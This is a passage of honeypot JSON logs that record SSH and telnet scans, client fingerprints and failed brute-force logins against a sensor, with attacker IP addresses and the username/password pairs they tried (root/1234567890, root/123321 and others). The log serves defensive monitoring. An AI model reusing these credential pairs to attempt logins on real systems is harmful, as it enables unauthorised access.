"aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:55:56.731857Z","src_ip":"91.92.40.176","session":"81ae76c82bd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest@123","message":"login attempt [guest/guest@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:55:57.055936Z","src_ip":"91.92.40.176","session":"81ae76c82bd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:55:58.141290Z","src_ip":"91.92.40.176","session":"81ae76c82bd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.78.1.33","src_port":42414,"dst_ip":"10.17.0.5","dst_port":22,"session":"98cce1fa302a","protocol":"ssh","message":"New connection: 103.78.1.33:42414 (10.17.0.5:22) [session: 98cce1fa302a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:56:01.581044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:56:01.586939Z","src_ip":"103.78.1.33","session":"98cce1fa302a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:56:01.814699Z","src_ip":"103.78.1.33","session":"98cce1fa302a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertqwert","message":"login attempt [root/qwertqwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:56:02.755038Z","src_ip":"103.78.1.33","session":"98cce1fa302a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:56:03.984396Z","src_ip":"103.78.1.33","session":"98cce1fa302a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":54914,"dst_ip":"159.203.135.109","dst_port":22,"session":"d59832eb2537","protocol":"ssh","message":"New connection: 109.237.96.109:54914 (159.203.135.109:22) [session: d59832eb2537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:56:10.320841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:56:10.325680Z","src_ip":"109.237.96.109","session":"d59832eb2537","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:56:10.419551Z","src_ip":"109.237.96.109","session":"d59832eb2537","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"16121994","message":"login attempt [root/16121994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:56:10.702993Z","src_ip":"109.237.96.109","session":"d59832eb2537","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:56:11.799565Z","src_ip":"109.237.96.109","session":"d59832eb2537","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":49996,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb30034309c4","protocol":"telnet","message":"New connection: 107.6.151.170:49996 (159.203.135.109:23) [session: cb30034309c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:56:28.254580Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.50","src_port":51622,"dst_ip":"159.203.135.109","dst_port":22,"session":"181c3aeabf78","protocol":"ssh","message":"New connection: 92.118.39.50:51622 (159.203.135.109:22) [session: 181c3aeabf78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:56:33.116688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:56:33.280333Z","src_ip":"92.118.39.50","session":"181c3aeabf78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:56:33.291516Z","src_ip":"92.118.39.50","session":"181c3aeabf78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:56:34.494400Z","src_ip":"92.118.39.50","session":"181c3aeabf78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:56:35.780559Z","src_ip":"92.118.39.50","session":"181c3aeabf78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00140810012817,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:56:36.367761Z","src_ip":"143.198.154.150","session":"be66844c1904","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55416,"dst_ip":"159.203.135.109","dst_port":23,"session":"217b0c904943","protocol":"telnet","message":"New connection: 170.64.224.25:55416 (159.203.135.109:23) [session: 217b0c904943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:56:51.368478Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":60676,"dst_ip":"10.17.0.5","dst_port":22,"session":"3001ba974114","protocol":"ssh","message":"New connection: 103.82.20.28:60676 (10.17.0.5:22) [session: 3001ba974114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:03.331383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:03.336292Z","src_ip":"103.82.20.28","session":"3001ba974114","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:03.596081Z","src_ip":"103.82.20.28","session":"3001ba974114","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"09111988","message":"login attempt [root/09111988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:04.379607Z","src_ip":"103.82.20.28","session":"3001ba974114","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:05.644212Z","src_ip":"103.82.20.28","session":"3001ba974114","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.69553995132446,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:09.950018Z","src_ip":"107.6.151.170","session":"cb30034309c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":34206,"dst_ip":"159.203.135.109","dst_port":22,"session":"553f2821ad75","protocol":"ssh","message":"New connection: 80.94.92.55:34206 (159.203.135.109:22) [session: 553f2821ad75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:15.530675Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.76.134.52","src_port":38966,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb4b6c589be3","protocol":"ssh","message":"New connection: 177.76.134.52:38966 (159.203.135.109:22) [session: bb4b6c589be3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:15.911896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:15.966519Z","src_ip":"177.76.134.52","session":"bb4b6c589be3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:16.100603Z","src_ip":"177.76.134.52","session":"bb4b6c589be3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:16.131471Z","src_ip":"80.94.92.55","session":"553f2821ad75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"priya123","message":"login attempt [root/priya123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:16.669900Z","src_ip":"177.76.134.52","session":"bb4b6c589be3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:17.867328Z","src_ip":"177.76.134.52","session":"bb4b6c589be3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.170.38","src_port":60238,"dst_ip":"10.17.0.5","dst_port":22,"session":"92e4666c2fce","protocol":"ssh","message":"New connection: 160.22.170.38:60238 (10.17.0.5:22) [session: 92e4666c2fce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:18.164071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:18.240555Z","src_ip":"160.22.170.38","session":"92e4666c2fce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:18.780295Z","src_ip":"160.22.170.38","session":"92e4666c2fce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:20.510968Z","src_ip":"80.94.92.55","session":"553f2821ad75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www.51idc.com","message":"login attempt [root/www.51idc.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:20.867593Z","src_ip":"160.22.170.38","session":"92e4666c2fce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:22.132343Z","src_ip":"160.22.170.38","session":"92e4666c2fce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:24.467144Z","src_ip":"80.94.92.55","session":"553f2821ad75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.7","message":"Connection lost after 11.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:27.282092Z","src_ip":"80.94.92.55","session":"553f2821ad75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.55.144.22","src_port":37142,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3b0e592a129","protocol":"ssh","message":"New connection: 14.55.144.22:37142 (159.203.135.109:22) [session: a3b0e592a129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:28.830569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:28.834866Z","src_ip":"14.55.144.22","session":"a3b0e592a129","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:29.055128Z","src_ip":"14.55.144.22","session":"a3b0e592a129","protocol":"ssh"}
